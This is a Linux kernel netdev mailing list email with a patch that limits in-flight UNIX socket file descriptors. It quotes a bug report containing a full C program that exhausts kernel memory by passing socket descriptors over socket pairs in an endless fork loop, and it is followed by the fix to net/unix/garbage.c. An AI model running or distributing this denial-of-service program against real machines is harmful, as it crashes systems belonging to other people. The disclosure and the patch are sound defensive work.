From patchwork Wed Nov 24 09:18:55 2010 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: Eric Dumazet X-Patchwork-Id: 72823 X-Patchwork-Delegate: davem@davemloft.net Return-Path: X-Original-To: patchwork-incoming@ozlabs.org Delivered-To: patchwork-incoming@ozlabs.org Received: from vger.kernel.org (vger.kernel.org [209.132.180.67]) by ozlabs.org (Postfix) with ESMTP id 6B9EBB70A9 for ; Wed, 24 Nov 2010 20:19:32 +1100 (EST) Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1752545Ab0KXJTE (ORCPT ); Wed, 24 Nov 2010 04:19:04 -0500 Received: from mail-fx0-f46.google.com ([209.85.161.46]:55941 "EHLO mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1751544Ab0KXJTA (ORCPT ); Wed, 24 Nov 2010 04:19:00 -0500 Received: by fxm13 with SMTP id 13so4767633fxm.19 for ; Wed, 24 Nov 2010 01:18:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:subject:from:to:cc :in-reply-to:references:content-type:date:message-id:mime-version :x-mailer:content-transfer-encoding; bh=Vl3BqwSS3EJLqfxK1OOOx9rB9TKXdc8ps8bUry6fxc4=; b=j6xz7ALYuYNnsjdhmhkhmfVy3DrNahM5ivVDn7RjGE2+NZVNGnZB13LmNyx2msKmoe DGnznmsulCqjMfSH7W+rzADOHd1WM9PRteWpSvERWpGm6n09Le23LPIC3pZSaMwAUMCh uioPjfM/OZANulZt2mzuvYeAkqCsYG3lXdd3I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=subject:from:to:cc:in-reply-to:references:content-type:date :message-id:mime-version:x-mailer:content-transfer-encoding; b=iVQSbWKE49jODomPDkm4pMvN0cTfr4ioK6Xr3OBdcSNX16d2aupWKBDR1mfb4nmX0A iz+2+/qJXia+dEHj1skpPTEYg4jvizcCBybz7ffPH94Fku92XHEYjm+kRVKF1U9cxajR qlVU5hBFUhJymB2k0QA5+S8tWJ8EtPfm1m0h8= Received: by 10.223.72.207 with SMTP id n15mr6635009faj.46.1290590338731; Wed, 24 Nov 2010 01:18:58 -0800 (PST) Received: from [10.150.51.211] (gw0.net.jmsp.net [212.23.165.14]) by mx.google.com with ESMTPS id a25sm2105520fak.20.2010.11.24.01.18.56 (version=SSLv3 cipher=RC4-MD5); Wed, 24 Nov 2010 01:18:57 -0800 (PST) Subject: [PATCH] af_unix: limit unix_tot_inflight From: Eric Dumazet To: Vegard Nossum , David Miller Cc: LKML , Andrew Morton , Eugene Teo , netdev In-Reply-To: <1290553918.2866.80.camel@edumazet-laptop> References: <1290553918.2866.80.camel@edumazet-laptop> Date: Wed, 24 Nov 2010 10:18:55 +0100 Message-ID: <1290590335.3464.24.camel@edumazet-laptop> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Sender: netdev-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: netdev@vger.kernel.org Le mercredi 24 novembre 2010 à 00:11 +0100, Eric Dumazet a écrit : > Le mardi 23 novembre 2010 à 23:21 +0100, Vegard Nossum a écrit : > > Hi, > > > > I found this program lying around on my laptop. It kills my box > > (2.6.35) instantly by consuming a lot of memory (allocated by the > > kernel, so the process doesn't get killed by the OOM killer). As far > > as I can tell, the memory isn't being freed when the program exits > > either. Maybe it will eventually get cleaned up the UNIX socket > > garbage collector thing, but in that case it doesn't get called > > quickly enough to save my machine at least. > > > > #include > > #include > > #include > > #include > > > > #include > > #include > > #include > > #include > > #include > > #include > > > > static int send_fd(int unix_fd, int fd) > > { > > struct msghdr msgh; > > struct cmsghdr *cmsg; > > char buf[CMSG_SPACE(sizeof(fd))]; > > > > memset(&msgh, 0, sizeof(msgh)); > > > > memset(buf, 0, sizeof(buf)); > > msgh.msg_control = buf; > > msgh.msg_controllen = sizeof(buf); > > > > cmsg = CMSG_FIRSTHDR(&msgh); > > cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); > > cmsg->cmsg_level = SOL_SOCKET; > > cmsg->cmsg_type = SCM_RIGHTS; > > > > msgh.msg_controllen = cmsg->cmsg_len; > > > > memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); > > return sendmsg(unix_fd, &msgh, 0); > > } > > > > int main(int argc, char *argv[]) > > { > > while (1) { > > pid_t child; > > > > child = fork(); > > if (child == -1) > > exit(EXIT_FAILURE); > > > > if (child == 0) { > > int fd[2]; > > int i; > > > > if (socketpair(PF_UNIX, SOCK_SEQPACKET, 0, fd) == -1) > > goto out_error; > > > > for (i = 0; i < 100; ++i) { > > if (send_fd(fd[0], fd[0]) == -1) > > goto out_error; > > > > if (send_fd(fd[1], fd[1]) == -1) > > goto out_error; > > } > > > > close(fd[0]); > > close(fd[1]); > > goto out; > > > > out_error: > > fprintf(stderr, "error: %s\n", strerror(errno)); > > out: > > exit(EXIT_SUCCESS); > > } > > > > while (1) { > > pid_t kid; > > int status; > > > > kid = wait(&status); > > if (kid == -1) { > > if (errno == ECHILD) > > break; > > if (errno == EINTR) > > continue; > > > > exit(EXIT_FAILURE); > > } > > > > if (WIFEXITED(status)) { > > if (WEXITSTATUS(status)) > > exit(WEXITSTATUS(status)); > > break; > > } > > } > > } > > > > return EXIT_SUCCESS; > > } > > > > > > Vegard > > -- Here is a patch to address this problem. Thanks [PATCH] af_unix: limit unix_tot_inflight Vegard Nossum found a unix socket OOM was possible, posting an exploit program. My analysis is we can eat all LOWMEM memory before unix_gc() being called from unix_release_sock(). Moreover, the thread blocked in unix_gc() can consume huge amount of time to perform cleanup because of huge working set. One way to handle this is to have a sensible limit on unix_tot_inflight, tested from wait_for_unix_gc() and to force a call to unix_gc() if this limit is hit. This solves the OOM and also reduce overall latencies, and should not slowdown normal workloads. Reported-by: Vegard Nossum Signed-off-by: Eric Dumazet Cc: Andrew Morton Cc: Eugene Teo --- net/unix/garbage.c | 7 +++++++ 1 files changed, 7 insertions(+) -- To unsubscribe from this list: send the line "unsubscribe netdev" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html diff --git a/net/unix/garbage.c b/net/unix/garbage.c index c8df6fd..40df93d 100644 --- a/net/unix/garbage.c +++ b/net/unix/garbage.c @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u) } static bool gc_in_progress = false; +#define UNIX_INFLIGHT_TRIGGER_GC 16000 void wait_for_unix_gc(void) { + /* + * If number of inflight sockets is insane, + * force a garbage collect right now. + */ + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress) + unix_gc(); wait_event(unix_gc_wait, gc_in_progress == false); }